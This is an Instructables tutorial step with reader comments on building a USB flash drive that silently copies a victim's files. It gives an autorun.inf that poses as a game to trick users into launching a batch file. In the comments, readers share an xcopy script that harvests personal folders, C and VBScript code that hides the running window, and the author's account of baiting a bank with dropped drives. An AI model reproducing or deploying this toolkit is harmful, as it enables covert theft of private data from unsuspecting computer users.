How to make flash drive that copy's users files silently and automatically

 by bigdaddyclint

Step 2: Create autorun file for the flash drive

autorun.jpg
autoruncode.jpg
Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.

[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat

a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.
 
Remove these adsRemove these ads by Signing Up
mnbpoi6 says: Jul 20, 2012. 4:15 AM
This autorun will be captured and deleted by pretty much any AV that is installed. Also, autorun from USB does not work at all on Windows 7.

This will still work by running the Launch.bat directly, but a silent autorunner is no longer possible on most PCs (for obvious reasons...like this one)
minijc says: Feb 10, 2012. 11:11 AM
can somebody just put the code in that you need
axeman911 says: Dec 14, 2010. 7:16 PM
srry but really hard to understand
jash123 says: Apr 12, 2009. 5:14 AM
btw i also have a U3 sandisk flash drive...would that be of any benefit?? thanks
wingeekkid in reply to jash123Jul 21, 2010. 7:28 AM
A U3 drive has a hidden partition that acts as a cd, this hidden cd image runs the U3 program without ANY user input if they have autorun enabled, and runs silently in the background. U3 makes a program that will change the cd image on the flash drive so that you will be able to run another program when the flash drive is inserted. I recommend that you check this instructable out if you want to use your drive.
surpcrepair says: Jun 24, 2010. 5:09 PM
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
010110111 in reply to surpcrepairJul 2, 2010. 5:14 AM
hey please show me what to assign to folder for example if i want any bat file i say" *.bat" and for any file "*.*" what can i say for any folder any whare?? please ur blessed and show me
surpcrepair in reply to surpcrepairJun 24, 2010. 10:03 PM
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% "%USERPROFILE%\Favorites" "%drive%\backup\favorites" %backupcmd% "%USERPROFILE%\Desktop\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.jpeg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.wmv" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Contacts" "%drive%\backup\contacts" %backupcmd% "%USERPROFILE%\Links" "%drive%\backup\links" %backupcmd% "%USERPROFILE%\My Documents\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\Downloads" "%drive%\backup\downloads" %backupcmd% "%USERPROFILE%\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mpg" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Pictures" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Videos" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\Downloads" "%drive%\backup\downloads" %backupcmd% "D:\*.jpg" "%drive%\backup\img" %backupcmd% "D:\*.jpeg" "%drive%\backup\img" %backupcmd% "D:\*.bmp" "%drive%\backup\img" %backupcmd% "D:\*.3gp" "%drive%\backup\vid" %backupcmd% "D:\*.mp4" "%drive%\backup\vid" %backupcmd% "D:\*.avi" "%drive%\backup\vid" %backupcmd% "D:\*.wmv" "%drive%\backup\vid" @echo on cls
Natrix2494 in reply to surpcrepairSep 22, 2010. 11:18 PM
hmm, is there a simple way i can exclude a specific folder? like say... "AppData"
it just keeps getting in the way.
surpcrepair in reply to surpcrepairJun 24, 2010. 5:59 PM
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say " CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False " also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?
oicvideos in reply to surpcrepairMay 11, 2012. 3:22 AM
You could get a batch to exe converter and most of them have options like run in background so it's an exe file but you can't see the command window when you run it.
greenbean in reply to surpcrepairJul 7, 2010. 6:55 PM
There is in fact a way to not have a command box come up. The way I do it is:
+Write (and compile) a C file that runs your batch file's commands invisibly

     #include <stdio.h>
     #include <windows.h>
     int main()
       {
        system("examplefile.bat");
       return (0);
        }



+Write a VBS file that runs that compiled C program (now a shiny .EXE file)

    Set objSh = CreateObject("Shell.Application")
    objSh.ShellExecute "example-exe-file", "" , "", "", 0

Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.

This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).

For more help, just comment.

By the way, I was about to write an instructable on that, but now I dont think it's necassary.

surpcrepair in reply to surpcrepairJun 24, 2010. 9:58 PM
lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
msharitt says: Apr 4, 2009. 9:48 AM
(removed by author or community request)
bigdaddyclint (author) in reply to msharittApr 4, 2009. 10:15 AM
As far as I know it is dependent on the user, and how they set up their computer and auto run settings you could always use a little social engineering and get them to open it up with let’s say a game or something else that would entice them to open it up. Even if they don’t want to open it up all you should have to do is just hit enter when it comes up takes less than a second total. Then it runs silent. This is only if the user knows you are doing this because of course this would be wrong to copy user’s files without them knowing anyways....
viperbite in reply to bigdaddyclintApr 21, 2009. 2:54 PM
Yo Bigdaddy, Your step by step instruction is great, but for some reason I can't get this to work as discussed. I am using XP Pro SP3. Any ideas?
jash123 says: Apr 12, 2009. 4:33 AM
guys could you help please...the thing works fine but only after i double click the flash drive..could you please tell me a way in which it would copy automatically after inserting the flash...im using XP by the way...thanks in advance
A good name says: Apr 4, 2009. 3:38 PM
Okay so basically your making it sound like it's going to hack into the computer when realistically your just assuming that no one can resist looking into a flash drive?
bigdaddyclint (author) in reply to A good nameApr 4, 2009. 7:37 PM
No not at all because it does work on a lot of systems without any user input, some are a little harder such as asking the user to open a file or even just open the flash drive. As an example of how this can be a very useful and dangerous item, few it guys put code like this on 10 or so flash drives then spread them out in a bank parking lot. Within 15 min of the bank opening they had many emails containing bank information that had been emailed to them from the code that they had put into the flash drive, don’t ever think that you need to have access to a computer all you need is a curious user.
A good name in reply to bigdaddyclintApr 4, 2009. 11:23 PM
You just repeated what I just said.
bigdaddyclint (author) in reply to A good nameApr 5, 2009. 2:33 AM
No I did not just repeat what you said. You are saying this simple code is not defined as hacking in a way no it does not access a locked computer but in a way it is hacking here is a snippet from http://definitions.uslegal.com/c/computer-hacking/

Computer hacking is broadly defined as intentionally accesses a computer without authorization or exceeds authorized access.

So in a way yes this is considered hacking, also Wikipedia states that social engineering is also a form of hacking. So if you want to get down to it YES this program does hack and YES you are wrong in saying that all I am doing here is using people to run a program.

I guess in the end I am saying you’re looking into this too much take it for what it’s worth and if you don’t like it move on thanks.
Wyle_E says: Mar 28, 2009. 11:23 AM
"...you will have to open a simple word editor such as word...." Seeing that steaming pile of Winbloat referred to as "a simple word editor" was good for a laugh.
memyselfand1 in reply to Wyle_EMar 28, 2009. 9:32 PM
Yeah. Thanks for that, I needed a laugh.
wupme in reply to Wyle_EMar 28, 2009. 3:16 PM
Yeah you should definately use somthing like notepad.
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!